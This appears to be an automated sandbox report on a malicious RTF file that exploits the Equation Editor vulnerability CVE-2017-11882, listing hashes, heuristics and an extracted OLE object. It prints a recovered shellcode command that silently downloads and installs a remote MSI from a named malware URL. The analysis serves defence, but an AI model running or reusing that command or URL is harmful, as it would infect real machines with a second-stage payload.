RTF malware analysis — malicious · f593c80ed5527865

MALICIOUS

RTF

10.6 KB Authoring application: Riched20 6.3.9600 First seen: 2018-03-30

MD5: 0d519e7f3785a40e88bd8613918a6ac0 SHA-1: 1977c5a7b9648e4201a22a6b12b04e2b623ef5b1 SHA-256: f593c80ed55278659d9265fd14da72356f9fad567143eaad9b2d07658769952b

382 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains embedded OLE object data, specifically an Equation Editor object, which is known to be vulnerable to CVE-2017-11882. The heuristic firings and ClamAV detection strongly indicate exploitation of this vulnerability. The embedded URL suggests the document is a lure to download and execute a second-stage payload, likely an MSI installer.

Heuristics 9

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
Equation Editor object class critical RTF_OBJCLASS_EQUATION

Object class 'equation.3' references Equation Editor
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL https://www.uwaoma.info/bestking.msi In RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off00000380.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x380	3546 bytes
SHA-256: `19e05fb6912ea7a8ad697d70a939932bfc52b758f5aeb4de53866026a81a05bd`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): https://www.uwaoma.info/bestking.msi Static shellcode analysis recovered command string(s): cmd.exe /c msiexec /q /i "https://www.uwaoma.info/bestking.msi"

Open this report in the interactive analyzer, or submit your own file for analysis.